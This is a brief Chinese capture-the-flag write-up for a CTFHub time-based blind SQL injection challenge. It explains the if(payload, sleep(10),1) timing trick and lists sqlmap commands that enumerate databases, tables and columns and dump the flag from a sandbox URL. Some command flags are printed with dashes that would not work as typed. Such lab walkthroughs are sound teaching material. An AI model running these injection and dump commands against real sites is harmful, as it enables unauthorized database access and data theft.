CTFHUB-WEB-SQL注入-时间盲注

时间盲注手工注入时,可根据程序执行时间判断是否执行成功。
使用的函数:
if(payload, sleep(10),1) 如果payload成功,程序暂停10秒,否则立即执行

题目:

CTFHUB-WEB-SQL注入-时间盲注_第1张图片

靶机环境:输入1不会显现信息,也不会提示错误
CTFHUB-WEB-SQL注入-时间盲注_第2张图片

使用sqlmap工具进行注入:

获取数据库名:
Sqlmap –u http://challenge-a72828618ce90b15.sandbox.ctfhub.com:10080/?id=1 –dbs
在这里插入图片描述

获取表名:
Sqlmap –u http://challenge-a72828618ce90b15.sandbox.ctfhub.com:10080/?id=1 –D sqli –tables

获取列名:
Sqlmap –u http://challenge-a72828618ce90b15.sandbox.ctfhub.com:10080/?id=1 –D sqli –T flag –columns

获取字段值
Sqlmap –u http://challenge-a72828618ce90b15.sandbox.ctfhub.com:10080/?id=1 –D sqli –T flag –C flag --dump
CTFHUB-WEB-SQL注入-时间盲注_第3张图片

你可能感兴趣的:(CTF)